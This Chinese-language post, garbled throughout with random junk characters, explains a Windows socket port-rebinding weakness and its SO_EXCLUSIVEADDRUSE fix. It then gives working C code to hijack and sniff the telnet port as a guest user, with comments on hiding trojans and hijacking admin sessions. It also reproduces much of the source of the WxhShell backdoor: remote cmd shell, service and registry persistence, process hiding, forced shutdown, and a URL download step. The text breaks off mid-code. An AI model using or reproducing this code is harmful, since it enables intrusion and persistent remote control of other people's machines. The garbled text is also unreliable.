在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
&zr..i4O s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
z Uqt^_ t/K<fy
6 saddr.sin_family = AF_INET;
I"^ `!8<q 6Uk[_)1 saddr.sin_addr.s_addr = htonl(INADDR_ANY);
zR_#c3o f#a ~av9rC bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
VGY#ph% L
"L@4B 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
zhI} p. "|S \J5-% 这意味着什么?意味着可以进行如下的攻击:
2!/_Xh ; 9pOtr 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~B%=g)w H/p<lp 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
= !'gV:M 33_YZOy^j 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
6<+R55 Oc;0*v[I 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
G l=dL<F `7P4O 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-<jb>8
qh/q< 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
qTnfiYG} X 5LI 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
z./M^7v? uuzDu]Gwu #include
\Clz#k8l1 #include
0sq1SHI{ #include
8W 9%NW3& #include
a3L]'E'*# DWORD WINAPI ClientThread(LPVOID lpParam);
~l%Dcp int main()
'g8~539{& {
#~54t0|Cd> WORD wVersionRequested;
}*m:zD@8$ DWORD ret;
^IuHc_ WSADATA wsaData;
xNTO59Y-s BOOL val;
n`T
4aDm SOCKADDR_IN saddr;
2+Z2`k]AC SOCKADDR_IN scaddr;
iKa}@U int err;
t nz
BNW8 SOCKET s;
O^I~d{M 5I SOCKET sc;
,qak_bP int caddsize;
&%`IPhbT HANDLE mt;
6>)]7(B<d DWORD tid;
5@"&%8oeq0 wVersionRequested = MAKEWORD( 2, 2 );
b+\jFGC%6= err = WSAStartup( wVersionRequested, &wsaData );
C:g2E[# if ( err != 0 ) {
P$Y<
g/s4 printf("error!WSAStartup failed!\n");
[6Uc?Bi return -1;
kIV/o }
@6>R/] saddr.sin_family = AF_INET;
2>#Pt^R:C wHk4BWg- //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
2f>lgZ! ^u#!Yo.!( saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
@c{=:kg5 saddr.sin_port = htons(23);
BclZsU=xn if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
E27wxMU {
N\Byg jw| printf("error!socket failed!\n");
~zFs/(k return -1;
Zgo^M,g }
zr?%k]A%UO val = TRUE;
0O?B!Jr]RM //SO_REUSEADDR选项就是可以实现端口重绑定的
L@w|2 if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
AZxx%6 {
A"k6n\!n; printf("error!setsockopt failed!\n");
_/ZIDIn return -1;
nbMnqkNb }
8zGe5Dn9 //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
'i_od|19~h //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
k/O|ia6 //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
X%xX3e' ; )O)\__"- if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
B=#rp*vwL {
l/`<iG% ret=GetLastError();
h{S';/=8 printf("error!bind failed!\n");
`f}c 1 return -1;
9u lJZ\cQ }
9j:t}HV listen(s,2);
<wxI>T }b while(1)
4aGV1u+4 {
[kgT"?w= caddsize = sizeof(scaddr);
g1L$+xD^ //接受连接请求
+O}6 8N sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
tt,MO)8VD if(sc!=INVALID_SOCKET)
ox] LlR K {
|uQJMf[L) mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
qr$=oCqa if(mt==NULL)
Yva^JB {
kg7oH.0E printf("Thread Creat Failed!\n");
\&]'GsfF break;
KP[ax2!x }
R~CQ=KQ. }
{*As-Y:'F CloseHandle(mt);
Gk*Mx6|N }
vY<(3[pp closesocket(s);
CTbdY,=B WSACleanup();
"0+_P{w+ return 0;
@P6K`'.0 }
U^?/nRZ DWORD WINAPI ClientThread(LPVOID lpParam)
gAC} {
!E,$@mvd SOCKET ss = (SOCKET)lpParam;
B cd6~ SOCKET sc;
P49lE unsigned char buf[4096];
K_oBSa` SOCKADDR_IN saddr;
]]Ypi=<' long num;
aG8}R~wH& DWORD val;
3Tg DWORD ret;
$:s1x\ol //如果是隐藏端口应用的话,可以在此处加一些判断
tfvX0J //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
3/>McZ@OH saddr.sin_family = AF_INET;
?3kfhR saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
K5z*DYT saddr.sin_port = htons(23);
Y<X%'Wd\ if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
FJKt5}`8 {
9`i=kp printf("error!socket failed!\n");
s<H0ka@ return -1;
K&
<|94_k }
WZ'8{XY8 val = 100;
@a)@1:=Rm if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
kYl$V= {
_\>? .gg$ ret = GetLastError();
NQ !t ` return -1;
;#I(ucB< }
cPi 3UjY~ if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
XgP7
! {
.6+j&{WNo! ret = GetLastError();
=|bM|8, return -1;
1`r
4 }
ooreforr if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
U")~bU {
Aga2 I#1r printf("error!socket connect failed!\n");
K_bF)6" closesocket(sc);
~;QO`I=0P closesocket(ss);
'ADt<m_$ return -1;
jn>3(GRGC$ }
sbZ)z#Tr while(1)
\/la`D {
=Bi>$Ly //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
]8*g% //如果是嗅探内容的话,可以再此处进行内容分析和记录
mMjY I1F //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
YvHP]N{SA' num = recv(ss,buf,4096,0);
@zB {Ig if(num>0)
Cy4@\X%W send(sc,buf,num,0);
Dr$k6kZ}'U else if(num==0)
O9oYuC :q break;
t@QaxZIlt; num = recv(sc,buf,4096,0);
;RB]awE if(num>0)
(Ybc~M)z send(ss,buf,num,0);
iKN~fGRc else if(num==0)
Ovv~ymj break;
}|%dN*', }
[94A?pn[z closesocket(ss);
>y"W( closesocket(sc);
q|b#=Af]g return 0 ;
9TBkVbqV }
S=~[ 6;G h^D?G2O Mg W0
). ==========================================================
g2JNa?z [U]U *x 下边附上一个代码,,WXhSHELL
/qed_w.p ;"-(QE?Mv ==========================================================
.C$S
DhJ~ wUW^
O #include "stdafx.h"
4Pe%*WTX x5YW6R.<t #include <stdio.h>
$[T^S #include <string.h>
'Xoif" #include <windows.h>
" JFx #include <winsock2.h>
<iuESeDG #include <winsvc.h>
ri1D*CS #include <urlmon.h>
%%)"W
n#` >0DQ<@ot: #pragma comment (lib, "Ws2_32.lib")
t, #7F$t #pragma comment (lib, "urlmon.lib")
^90';ACFy So{/V% #define MAX_USER 100 // 最大客户端连接数
z85%2Apd #define BUF_SOCK 200 // sock buffer
juG?kL. #define KEY_BUFF 255 // 输入 buffer
}pdn-# LQ`s> q #define REBOOT 0 // 重启
#( F/P!qk #define SHUTDOWN 1 // 关机
JS<S?j?*/ t'|A0r$ #define DEF_PORT 5000 // 监听端口
dIg/g~ t" m_zl*s*6 #define REG_LEN 16 // 注册表键长度
>!848J #define SVC_LEN 80 // NT服务名长度
rn $a)^! 7DDd1"jE // 从dll定义API
?;zu>4f| typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
a\>+!Vq typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
GPz0qK typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
_v bCC7Bf8 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
Y<-h#_ >lQ@" U // wxhshell配置信息
c[J?`8 struct WSCFG {
gI "ZhYI int ws_port; // 监听端口
0^$L{V char ws_passstr[REG_LEN]; // 口令
c.dk4v%Y5 int ws_autoins; // 安装标记, 1=yes 0=no
1DgRV7 char ws_regname[REG_LEN]; // 注册表键名
WvR-0>E char ws_svcname[REG_LEN]; // 服务名
\(2w/~ char ws_svcdisp[SVC_LEN]; // 服务显示名
I{tY;b'w char ws_svcdesc[SVC_LEN]; // 服务描述信息
`-fWNHs char ws_passmsg[SVC_LEN]; // 密码输入提示信息
;$,=VB:' int ws_downexe; // 下载执行标记, 1=yes 0=no
[~*5uSG char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
1AQVj]#S char ws_filenam[SVC_LEN]; // 下载后保存的文件名
qmqWMLfC @W6:JO };
WfpQ fb-Lp#!T39 // default Wxhshell configuration
q;Tdqv!Ju struct WSCFG wscfg={DEF_PORT,
pqe7a3jr "xuhuanlingzhe",
|eykb?j` 1,
uzg(C#sp "Wxhshell",
J{;XNf = "Wxhshell",
KBE3q) "WxhShell Service",
.2"-N5Z "Wrsky Windows CmdShell Service",
ve($l"T "Please Input Your Password: ",
${m;x: ' 1,
V5:ad "
http://www.wrsky.com/wxhshell.exe",
(StX1g' "Wxhshell.exe"
OL]P(HRm]~ };
EQI9J#;+ h ` qlI1] // 消息定义模块
fh_+M"Y0` char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
-!;2?6R9{ char *msg_ws_prompt="\n\r? for help\n\r#>";
N8x[8Rp char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
<}7 5Xo char *msg_ws_ext="\n\rExit.";
Ha~F&H|"O char *msg_ws_end="\n\rQuit.";
_D~l2M char *msg_ws_boot="\n\rReboot...";
~MWI-oK char *msg_ws_poff="\n\rShutdown...";
g>G+?PY char *msg_ws_down="\n\rSave to ";
m}A| W[p< oCfO:7 char *msg_ws_err="\n\rErr!";
GT.1,E,Vw char *msg_ws_ok="\n\rOK!";
6&|hpp#[ 9gq+,g>E_ char ExeFile[MAX_PATH];
J,4,#2M8 int nUser = 0;
[wU e"{ HANDLE handles[MAX_USER];
,ZGU\t int OsIsNt;
V=^B7a.;> U\*]cw SERVICE_STATUS serviceStatus;
VyX5MVh SERVICE_STATUS_HANDLE hServiceStatusHandle;
6$CwH!42F Jq>rA // 函数声明
Z$?(~ln int Install(void);
F+o4f3N int Uninstall(void);
%,T=|5 int DownloadFile(char *sURL, SOCKET wsh);
&1/OwTI4J int Boot(int flag);
WC0z'N({W void HideProc(void);
Kb X&E0 int GetOsVer(void);
M~%P1@% int Wxhshell(SOCKET wsl);
m`i_O0T void TalkWithClient(void *cs);
&~mJ
).* int CmdShell(SOCKET sock);
'8J!(+ int StartFromService(void);
H9;0$Y(e- int StartWxhshell(LPSTR lpCmdLine);
;~D$rT Z(j"\d!y VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
Hlhd6be VOID WINAPI NTServiceHandler( DWORD fdwControl );
}NjZfBQW` IiU\}<O // 数据结构和表定义
EfX\" y SERVICE_TABLE_ENTRY DispatchTable[] =
U#V&=~- {
cWtuI(. {wscfg.ws_svcname, NTServiceMain},
ES-V'[+jDy {NULL, NULL}
T:T`M:C. };
K|pg'VT" I(<9e"1O // 自我安装
Az7
]qb int Install(void)
:@uIEvD? {
O22Q
g char svExeFile[MAX_PATH];
e,kxg^ HKEY key;
ZnKjU ]m strcpy(svExeFile,ExeFile);
r7)qr%n s\+|
ql // 如果是win9x系统,修改注册表设为自启动
mT:NC'b<9 if(!OsIsNt) {
GP>\3@> if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
;b{yu| RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
kEgpF{"%n RegCloseKey(key);
NSawD.9mV if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
pfBe24q RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
rjffpU RegCloseKey(key);
[Dhqyjq return 0;
CvHE7H|-{ }
|v:oLgUdH }
)J*M{Gm 6i }
*b'4>U else {
C@`rg ILc <Y]e // 如果是NT以上系统,安装为系统服务
i0:1+^3^U SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
7s0\`eXo/ if (schSCManager!=0)
=cpUc]~ {
2FR+Z3&z SC_HANDLE schService = CreateService
Xh}S_/9}5 (
lZAXDxhnT schSCManager,
=oBlUE wscfg.ws_svcname,
/#WvC;B wscfg.ws_svcdisp,
V7b;qC' SERVICE_ALL_ACCESS,
]_BH"ng} SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
Q,K$)bM SERVICE_AUTO_START,
({ O~O5k SERVICE_ERROR_NORMAL,
O8OAXRt/Y svExeFile,
(xfh 9=. NULL,
;FQNO:NP NULL,
NbC2N)L4 NULL,
+4$][3. NULL,
@XJ#oxM^ NULL
?K+q~DzNSD );
~NZL~p if (schService!=0)
;j.-6#n {
@9eN\b%I^H CloseServiceHandle(schService);
cYp/? \ CloseServiceHandle(schSCManager);
Ngj&1Ta&[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
yR?./M! strcat(svExeFile,wscfg.ws_svcname);
fy]c=:EmD if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
h!@7'Q RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
ollsB3]] RegCloseKey(key);
`OfD^Q= return 0;
SJ91(K }
"OwK- }
]5K+W CloseServiceHandle(schSCManager);
[^Bjmw[7 }
?&'Kw>s@ }
O\CnKNk, gu6%$z return 1;
p}3` "L= }
9: .m]QN ,z<1:st]< // 自我卸载
N]eBmv$| int Uninstall(void)
3&>0'h {
Y)@Y$_ HKEY key;
EK=
y!> iciKjXJ: if(!OsIsNt) {
OP<N!y ?[ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
"u]&~$ RegDeleteValue(key,wscfg.ws_regname);
3dSb!q0&N RegCloseKey(key);
,]:Gn5~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
~`Rar2%B RegDeleteValue(key,wscfg.ws_regname);
?JG^GD7D RegCloseKey(key);
D2g/P8.<A return 0;
NT0n[o^ }
]J [d8S5 }
S)g:+P }
Fgi`g{N else {
_Dd>e=v #|4G,! SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
T60pw if (schSCManager!=0)
jz`3xFy *] {
y=c={Qz@vn SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
gyMHC{l/B if (schService!=0)
S2DG=hi`GK {
67hfv e if(DeleteService(schService)!=0) {
gROK4'j6y CloseServiceHandle(schService);
#CPLvg# CloseServiceHandle(schSCManager);
aW*k,\:e return 0;
Q?;Tc.O"/ }
rf-yUH]&S CloseServiceHandle(schService);
}NoP(&ebz* }
hf]m'5pb CloseServiceHandle(schSCManager);
.b+ix=: }
SkMFJ?J/ }
2,dWD<h T\n6^@.> return 1;
/2zan} }
Pw| h`[h nj0sh"~+ // 从指定url下载文件
l 9
wO x int DownloadFile(char *sURL, SOCKET wsh)
5L:-Xr{ {
|ZE^'e*k HRESULT hr;
t"Ci1"U char seps[]= "/";
En1LGi4# char *token;
u -P !2vT char *file;
RYA@{.O char myURL[MAX_PATH];
!b7"K| char myFILE[MAX_PATH];
}dop]{RG PWyf3 strcpy(myURL,sURL);
~x!up9 token=strtok(myURL,seps);
A$r$g\5+ while(token!=NULL)
qxb]UV,R {
oWL_Hh%-f` file=token;
u1L^INo/ token=strtok(NULL,seps);
}rI:pp^KS }
p09p/ 'Gqv`rq& GetCurrentDirectory(MAX_PATH,myFILE);
&n
)MGg1% strcat(myFILE, "\\");
&:g:7l]g strcat(myFILE, file);
(z>t 4(%\ send(wsh,myFILE,strlen(myFILE),0);
i?Pnyi send(wsh,"...",3,0);
^l|b>z"0ao hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
B Z|A&; if(hr==S_OK)
^L5-2;s<U' return 0;
3q}j"x? else
fCx( return 1;
+x=)Kp> <|4$TH^t }
>P:X\5Oj t$z[ja= // 系统电源模块
^\AeX-q2v' int Boot(int flag)
u30D`sky {
K\rQb HANDLE hToken;
V-}}?c1 F TOKEN_PRIVILEGES tkp;
<M@-|K"Eb 1'\QD`M9^ if(OsIsNt) {
X0u,QSt'O OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
q9_$&9 LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
1f}(=Hv{ tkp.PrivilegeCount = 1;
NDP"
@ tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
[p9v#\G; [ AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
dv>n38&mDQ if(flag==REBOOT) {
VwE4:/7YN if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
Z;Hkx1 return 0;
+q}t%K5 }
8^>c_%e} else {
l P3|h* if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
Si>38vCJ* return 0;
VFL^-tXnA^ }
"vSKj/] }
NC%hsg^0/ else {
4}h}`KZZ if(flag==REBOOT) {
yl~_~<s6 if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
^~;ia7V&2 return 0;
"0PrdZMx }
W~'xJ else {
)"pvF8JR%3 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
R~4X?@ZB return 0;
Q!;syJBb. }
1j$\ 48Z }
O`9c!_lis );h(D!D, return 1;
3NgXM }
^PTf8o 3&+dyhL'w // win9x进程隐藏模块
Z5>~l void HideProc(void)
?b,>+v-w:: {
&2y4k"B&) ::oFL#+ HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
Kd`(^ if ( hKernel != NULL )
a)JXxst {
g[O?wH-a pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d
fj23+ ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
|nZ^RCHog FreeLibrary(hKernel);
r%?-MGc }
+7H)s qh~bX
i! return;
1IA1; }
?eIb7O vd4@ jZ5 // 获取操作系统版本
,Y/B49 int GetOsVer(void)
AU$~Ap*rsa {
k{SGbC1=VK OSVERSIONINFO winfo;
f1MRmp-f' winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
TVD~Ix GetVersionEx(&winfo);
sllT1%? if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
"l56?@- x return 1;
`N *:,8j else
A)&FcMO*z return 0;
s$R /!,c }
[Cl0Kw.LD JpC'(N // 客户端句柄模块
:Z// int Wxhshell(SOCKET wsl)
H2s:M {
_J
l(:r\% SOCKET wsh;
~?F,kmO}? struct sockaddr_in client;
y&zFS4"x DWORD myID;
[tpiU'/Zl mVZh_R=a while(nUser<MAX_USER)
!CGX \cvW {
"tz6O0D int nSize=sizeof(client);
\Fz9O-jb4 wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
hpAdoy[ if(wsh==INVALID_SOCKET) return 1;
$N=&D_Q 9GD0jJEu handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
{cm?Q\DT if(handles[nUser]==0)
_RbfyyaN closesocket(wsh);
=X4Fn^w"4O else
zuvPV{
X nUser++;
t1FtYXv`/ }
e xb}
y WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
86r"hy~ hC<ROD return 0;
!DZ=`a?y }
,MCTb '=G +`HMl;0m // 关闭 socket
E=s,- void CloseIt(SOCKET wsh)
1>J.kQR^ {
H#TkIFo] closesocket(wsh);
+`
Md5.w nUser--;
?F"o+]i+^ ExitThread(0);
G(&[1V % x }
QH/py TpKAdrY // 客户端请求句柄
uY&1[(Pb void TalkWithClient(void *cs)
/f3/}x!po {
=_dM@ j ^[?y 2A: SOCKET wsh=(SOCKET)cs;
-tg|y char pwd[SVC_LEN];
(9]Uuvfp6" char cmd[KEY_BUFF];
"\b>JV5 char chr[1];
XN df int i,j;
7rjl-FUA~ :;+!ID_ while (nUser < MAX_USER) {
\;{ ]YX *
65/gG8> if(wscfg.ws_passstr) {
d51lTGH7Z if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
<Vhd4c //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
/ FcRp ," //ZeroMemory(pwd,KEY_BUFF);
v
Y[s#*+ i=0;
jrib"Bh3, while(i<SVC_LEN) {
U#3N90,N= 9-42A7g^C // 设置超时
nGF
+a[Z fd_set FdRead;
}_D .Hy5 struct timeval TimeOut;
g*V.u]U!i FD_ZERO(&FdRead);
fkxkf^g) FD_SET(wsh,&FdRead);
>fBPVu\PA TimeOut.tv_sec=8;
OIblBQ! TimeOut.tv_usec=0;
Lw>B:3e int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
"V|Rq]_+% if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
V\L;EHtc$ is<:}z if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
.vu7$~7 pwd
=chr[0]; ?v2_7x&
if(chr[0]==0xd || chr[0]==0xa) { /q9I^ ztV
pwd=0; A,~3oQV
break; B7%,D}
} FuHBzBoM=
i++; %ih\|jRt
} i KSRr#/
ea3w
// 如果是非法用户,关闭 socket Qte5E}V`
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ]rG=\>U3~
} bY~K)j
v3&
?qjdmB|w
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); OgF[=
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); CD`a-]6qA
g NI1W@)
while(1) {
t ed:]
zj`c%9N+
ZeroMemory(cmd,KEY_BUFF); ^#_gk uyd!
m%|\AZBA#
// 自动支持客户端 telnet标准 HWjJ.;k}a
j=0; ^z
*0
while(j<KEY_BUFF) { !<w6j-S
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S@qPf0dL<
cmd[j]=chr[0]; K"!rj.Da
if(chr[0]==0xa || chr[0]==0xd) { &f.5:u%{b
cmd[j]=0; @@Q4{o
break; zIc6L3w$
} DsdM:u*s
j++; iJTG+gx
}
4E''pW]8
i/X3k&
// 下载文件 %KyZ15_(-L
if(strstr(cmd,"http://")) { %xgP*%Sv2
send(wsh,msg_ws_down,strlen(msg_ws_down),0); .O-)m'5
if(DownloadFile(cmd,wsh)) 5Q10Ohh
send(wsh,msg_ws_err,strlen(msg_ws_err),0); ZX_QnSNZ?
else mIlg=8:
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?_]Y8f
} q`e0%^U
else { kepuh%KY[
) 57'<
switch(cmd[0]) { x^y$ pr
khX/xL
// 帮助 uz3cho'
case '?': { 0}i
9`p
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); #(]D]f[@
break; >@N.jw>#T
} wX] _Abk
// 安装 OS[
s Qo5
case 'i': { DFr$2Y3H
if(Install()) Ec7xwPk
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r6S
else 1RkN^FZOxq
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Trirb'qO
break; m-{DhJV
} NZGO8u
// 卸载 gc4o
|x
case 'r': { R&uPoY,f
if(Uninstall()) 7] y3<t
send(wsh,msg_ws_err,strlen(msg_ws_err),0); /qQx~doK
else |6AR!
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ic G 9x
break; P}6#s'07~
} Dk\%,[4(
// 显示 wxhshell 所在路径 )=)N9C Ry
case 'p': { wG O-Z']i
char svExeFile[MAX_PATH]; Gr({30"8
strcpy(svExeFile,"\n\r"); J.~@j;[2
strcat(svExeFile,ExeFile); }Z <I%GT
send(wsh,svExeFile,strlen(svExeFile),0); 1^k}GXsWmE
break; >D=X
Tgqqq
} T#&1q]P1F
// 重启 frbd{o
case 'b': { #o&T$D5
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); P.(UbF d'
if(Boot(REBOOT)) n l5+#e*\
send(wsh,msg_ws_err,strlen(msg_ws_err),0); %\it4 r3
else { $I5|rB/4?
closesocket(wsh); &Hw:65O
ExitThread(0); ^aaj=p:cV
} *42KLns
break; `_ ^I 2
} P#pb48^-
// 关机 ^(Gl$GC$Mu
case 'd': { HtN:v
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); @Hj]yb5
if(Boot(SHUTDOWN)) |(~IfSE2
send(wsh,msg_ws_err,strlen(msg_ws_err),0); r%: :q^b3
else { Xp;'Wa"@
closesocket(wsh); I>MLI=[Kg
ExitThread(0); o=VZ7]
} ;$eY#ypx
break; bP:u`!p
-i
} H~[q<ybxr
// 获取shell ~U<j_j)z4.
case 's': { #cR5k@
CmdShell(wsh); 41R~.?
closesocket(wsh); " "`z3-
ExitThread(0); qA}l[:F+#
break; , wk}[MF
} n(A;:)W{
// 退出 +46& Zb35
case 'x': { _WV13pnRu
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); b?k,_;\
CloseIt(wsh); ca
&zYXy
break; ^cdbM
} YloE4PAY7
// 离开 E=.J*7
case 'q': { .yDR2sW
send(wsh,msg_ws_end,strlen(msg_ws_end),0); CS%ut-K<5M
closesocket(wsh); ZrYRLg
WSACleanup(); /p-k'387
exit(1); @V4nc
'o.
break; xfUV'=~(
} ILG&l<!E
} BDp(&=ktq
} axG%@5
ddYb=L+_b
// 提示信息 B <Jxj
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); RCkmxO;b&
} __z/X"H
} Y}vV.q
`34+~;;Jh
return; +o.#']}Pl
} 0>,i]
|Y
j;Z
hI y
// shell模块句柄 n~,6!S
int CmdShell(SOCKET sock) h\C1:0x{
{ jxK
`ShW=
STARTUPINFO si; HELTL$j,b
ZeroMemory(&si,sizeof(si)); be6`Sv"H
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; rp]H&5.*
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; vSQB~Vw8t
PROCESS_INFORMATION ProcessInfo; $jC+oYXj
char cmdline[]="cmd"; D<Z\6)|%I
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); RG1#\d-fE
return 0; sI)jqHZG
} #;2kN
&
<Rt0
V%}-
// 自身启动模式 ziAn9/sT
int StartFromService(void) P@etT8| V
{ V2Z^W^
typedef struct +5ql`C
{
X/!Y mV!
DWORD ExitStatus; X?8bb! g%Q
